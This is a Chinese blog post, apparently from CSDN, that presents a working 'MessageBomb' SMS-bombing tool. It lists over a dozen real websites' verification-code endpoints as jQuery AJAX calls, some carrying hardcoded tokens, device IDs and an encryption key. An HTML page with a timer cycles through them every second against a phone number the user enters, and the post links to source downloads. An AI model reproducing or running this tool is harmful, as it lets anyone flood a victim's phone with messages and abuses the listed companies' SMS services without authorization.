一、请求原理

由于现在网站的都有手机登陆或注册,向制定地址发送一个post活get请求,那么我们利用这一思路,就可以在本地上利用Ajax来模拟网站的登陆注册操作,从而实现向指定手机发送验证码。以下是效果

二、获取第三方网站短信接口

随便找一个带短信登陆的第三方网站,在浏览器中打开控制台,输入手机号码,点击获取验证码,我们可以看到又一个请求发送出去。

点击“send-tel-login-code”,查看Headers,我们会发现向下图中标记的url发送了一个get请求,有参数:num、csrfToken,发现num正是我们刚刚输入的手机号

我们在本地写一段代码,用ajax向上面的地址发送一个get请求,调用test()方法,将num的值换成自己的,看是否有验证码收到。

三、源代码

以下是我找的几个可以实现短信发送的接口

var requestList = [{name: '工图网',fn: function (phone) {$.ajax({url: "http://www.900ppt.com/api/login/getSmsCode",data: {phone: phone,easy: 1},type: "GET",dataType: "json",});}},{name: '千库编辑',fn: function (phone) {$.ajax({url: 'https://editor.588ku.com/site-api/send-tel-login-code',type: 'GET',data:{num: phone,},async: false});}},{name: '少儿编程',fn: function (phone) {$.ajax({url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",type: "post",data: {phone: phone,},dataType: "json",})}},{name: '图怪兽',fn: function (phone) {$.ajax({type: 'GET',url: 'https://818ps.com/site-api/send-tel-login-code?num=' + phone,dataType: 'json',async: false,});}},{name: '泰康在线',fn: function (phone) {function encrypt(data) {var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");var srcs = CryptoJS.enc.Utf8.parse(data);var encrypted = CryptoJS.AES.encrypt(srcs, key, {mode: CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});return encrypted + "";}phone = encodeURIComponent(encrypt(phone))$.ajax({'url': 'http://ecs.tk.cn/eservice/member/login','type': 'post','data': 'syn=Y&functioncode=getmark&mobile=' + phone,'dataType': 'json',});}},{name: '大麦网',fn: function (phone) {$.ajax({'url': 'https://ipassport.damai.cn/newlogin/sms/send.do?appName=damai&fromSite=18','type': 'post','data': {phoneCode: '86',loginId: phone,countryCode: 'CN',umidGetStatusVal: 255,navlanguage: 'zh-CN',navPlatform: 'MacIntel',appName: 'damai',appEntrance: 'damai',_csrf_token: '23oX2Nx9U8f1fAY70GEnkA',umidToken: '3052e89b053c39db7435508f6158f606acf913f8',isMobile: false,},dataType: 'json',});}},{name: "快名网",fn: function (phone) {$.ajax({url: "http://www.kuaiming.com/user_zhu/getsjcode1",type: "POST",dataType: "json",data: {userName: phone},})}},{name: '光大永明人寿',fn: function (phone) {$.ajax({url: "https://www.sunlife-everbright.com/eportal/ui?struts.portlet.mode=view&struts.portlet.action=/portlet/CommonPageAjaxFront!memberCookies.action&moduleId=dc3a284c84fd4b818a3681828fcd2775&action=SendSmsCode\n",type: "POST",dataType: "json",data: {mobile: phone,action: 'SendSmsCode',},})}},{name: "迅捷",fn: function (phone) {$.ajax({url: 'http://user.api.hudunsoft.com/v1/sms',type: 'post',data: {client: "web",client_ver: "4.3.6.0",code: "",device_id: "209a642e56584b2c820b83a95245daf1",domain: "http://huatu.98youxi.com",phone: phone,soft_version: "1.3",source: "122",uuid: "209a642e56584b2c820b83a95245daf1",version: "v1.0.0",},dataType: 'json',})}},{name: "学而思",fn: function (phone) {$.ajax({url: 'https://api-www.izhikang.com/api/sms/send_sms',type: 'post',data: {sign: '3ca53d66c8d4d90bc9d373894d554799',phone: phone,},dataType: 'json',})}},{name: "火花思维",fn: function (phone) {$.ajax({url: 'https://www.huohua.cn/passport/auth_code/send',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"authType": "2", "countryCode": "86", "phone": "' + phone + '"}',dataType: 'json',})}},{name: "编程猫",fn: function (phone) {$.ajax({url: 'https://open-service.codemao.cn/captcha/rule',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',dataType: 'json',success: function (data) {$.ajax({url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',dataType: 'json',})}})}},{name: "掌门少儿",fn: function (phone) {$.ajax({url: 'https://app-gateway.zmlearn.com/api/operation-web-server/v1/ow/validateChildCode',type: 'POST',headers: {'Content-Type': 'application/json; charset=utf-8'},dataType: 'json',data: JSON.stringify({mobile: '86-' + phone}),})},}
]

前端逻界面辑代码

<!DOCTYPE html><html><head><meta charset="UTF-8"><title>MessageBomb</title><meta http-equiv="Access-Control-Allow-Origin" content="*"><link href="plug/bootstrap/bootstrap.min.css" rel="stylesheet"><script src="plug/jquery/jquery-3.4.1.min.js"></script><script src="plug/bootstrap/bootstrap.min.js"></script><script src="plug/crypto/crypto-js.js"></script><script src="index.js"></script></head><body>
<div class="row p-3"><div class="col-12"><div class="card border-danger border-1"><div class="card-header bg-danger text-white">Message Bomb</div><div class="card-body "><div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">手机号</span></div><input type="text" class="form-control" placeholder="" id="phone"></div><button class="btn btn-success" id="start" onclick="send()">启动线程</button><button class="btn btn-danger" id="'end" onclick="end()">停止线程</button><button class="btn btn-primary float-right" onclick="test('13222222222')">单元测试</button><div class="alert alert-success mt-3 text-center" id="msg" role="alert">准备轰炸</div></div></div></div></div>
<script>var timer = nullvar index = 0// 开始发送function send() {$('#start').attr('disabled', true)$('#phone').attr('disabled', true)var phone = $("#phone").val()if (phone.length != 11) {$('#msg').text('请输入正确的手机号')return}$('#msg').text('正在向:' + phone + '发送')$('#msg').show()timer = setInterval(function () {if (index >= requestList.length) {index = 0;}requestList[index++].fn(phone)}, 1000)}// 停止发送function end() {$('#start').attr('disabled', false)$('#phone').attr('disabled', false)$('#msg').text('准备轰炸')clearTimeout(timer)}// 测试发送function test(phone = '') {$.ajax({url: 'https://editor.588ku.com/site-api/send-tel-login-code',type: 'GET',data:{num: phone,},async: false});}
</script></body></html>

显示效果

四、源码下载

CSDN下载链接:https://download.csdn.net/download/weixin_43532890/15739414

百度网盘下载链接: https://pan.baidu.com/s/1sEAXtQx3mSAuOFhnazH8CA  密码: e3r5

Javascript实现手机发送验证码相关推荐

  1. 手机发送验证码的业务逻辑探究-主要是安全性,响应性

    手机发送验证码的业务逻辑探究-主要是安全性,响应性 这样一来,只要知道静态的验证码是什么,脚本就可以轻松填写正确的验证码. 解决方法: 1后台是否可以限制一个IP发送的次数 2限定发送验证码的一分钟的 ...

  2. html如何发送验证码到手机,页面效果,给手机发送验证码

    html> 定时发送验证码 var wait = 5; function send(o) { if(wait==5){ //向服务器发送请求,给手机发送验证码 // $.post("/ ...

  3. 网站登录密码忘记后,通过向手机发送验证码实现找回密码的实现方法

    今天我想了一天如何实现网站用户在忘记了密码后,如何通过向手机发送验证码来重新设置密码.验证码的验证以及生成都已经做好了,现在主要是解决如何向用户手机发送短信.显然这需要一个第三方提供的短信接口,来帮助 ...

  4. springboot向手机发送验证码

    ** springboot向手机发送验证码 ** 1.在腾讯云里面申请短信签名,短信模板 在百度搜索腾讯云,进入到腾讯云里面,在产品里搜索短信 然后找到国内短信 创建签名和模板,创建签名可以用公众号. ...

  5. html给手机号发送验证码,js如何实现手机发送验证码功能

    js如何实现手机发送验证码功能 发布时间:2021-06-21 12:24:46 来源:亿速云 阅读:82 作者:小新 这篇文章将为大家详细讲解有关js如何实现手机发送验证码功能,小编觉得挺实用的,因 ...

  6. 微信小程序 授权登录+手机发送验证码+jwt验证接口(laravel8+php)

    参考博客 小程序授权登录并 laravel7(laravel8) token 应用 - 王越666 - 博客园 微信小程序sku商品规格选择器 - 简书 微信小程序 和 laravel8 实现搜索后分 ...

  7. 健康管理系统第七天(移动端_体检预约(手机号校验、发送验证码之后30秒倒计时效果、生成验证码、向手机发送验证码))

    一.体检预约流程 用户可以通过如下操作流程进行体检预约: 1.在移动端首页点击体检预约,页面跳转到套餐列表页面 2.在套餐列表页面点击要预约的套餐,页面跳转到套餐详情页面 3.在套餐详情页面点击立即预 ...

  8. C#实现向手机发送验证码短信

    效果描述 当点击button1后向textbox1中输入的号码的手机发送一条验证码短信 步骤 注册 互亿无线 账号 查找APIID和APIKEY 窗口布局的设计布局 代码的书写 所有代码 注册 互亿无 ...

  9. springboot集成redis模拟手机发送验证码进行验证

    1.配置redis依赖 因为springboot框架帮们集成了大部分的依赖和它自动配置类的特点,我们只需要在maven中配置后就可以使用了,极大的挺高了我们开发的效率! <dependency& ...

  10. 【redis】模拟手机发送验证码

    要求: 1.输入手机号,点击发送后随机生成6位数字码,2分钟有效 2.输入验证码,点击验证,返回成功或失败 3.每个手机号每天只能发送3次 分析: 随机生成6位数数字码: 使用Ramdom 验证码2分 ...

最新文章

  1. 如何做到微信机器人不封号_微信如何做到一键群发所有群
  2. sprintf、strcpy、strncpy及 memcpy 函数,请问这些函数功能有什么区别?配实例详解!
  3. ABAP 对字符串公式进行计算
  4. MaxCompute full outer join改写left anti join实践
  5. POJ 1721 CARDS(置换群)
  6. PYTOHN1.day14
  7. JarvisOJ Basic 熟悉的声音
  8. 小米高层调整;B 站回应腾讯成第一大股东;PHP 7.4.3 发布 | 极客头条
  9. 安装McAfee 8.7i 提示错误1920怎么办?
  10. python和c 的区别-python和c语言的主要区别总结
  11. 幻灯片形式设计:从方法到技巧
  12. iOS UI自动化测试详解
  13. 鸿蒙只是电视机,荣耀智慧屏首发抢先体验:电视只是小功能,鸿蒙系统才是真亮点...
  14. linux 网卡RX丢包,解决网卡丢包问题,以及丢包问题解决后系统网络还是慢的问题...
  15. Python之集合(综合练习)
  16. 图解GPS原理 为什么需要4颗卫星才能定位,而不是3颗
  17. 第一次开发EOS区块链的经验总结
  18. Python3之基础语法
  19. Java设计一个测桃花模块_20145209刘一阳《JAVA程序设计》第十五周补充测试
  20. 用CentOS 7打造合适的科研环境 :zhuan

热门文章

  1. 怎么把蓝狐上的代码转为html,Ajax动态调用用户控件输出html
  2. SCVMM 2012 R2---安装Hyper-V Server 2012 R2主机服务器
  3. 免上传音乐外链(QQ音乐)
  4. 高斯公式_注解_高数
  5. Syntax Error Error No ESLint configuration found in statusGitmibsrc
  6. 推销计算机作文题目怎么写,怎样让作文题目吸引人 吸引人的作文题目怎么写...
  7. 社会工程学利用的人性_社会互程学利用的人性“弱点”
  8. [面试题]100层楼丢玻璃球,一旦超过某层就会破,你只有两个球。
  9. 论文阅读:VoltJockey: Breaching TrustZone by Software-Controlled Voltage Manipulation over
  10. Zencart模板结构和设计详解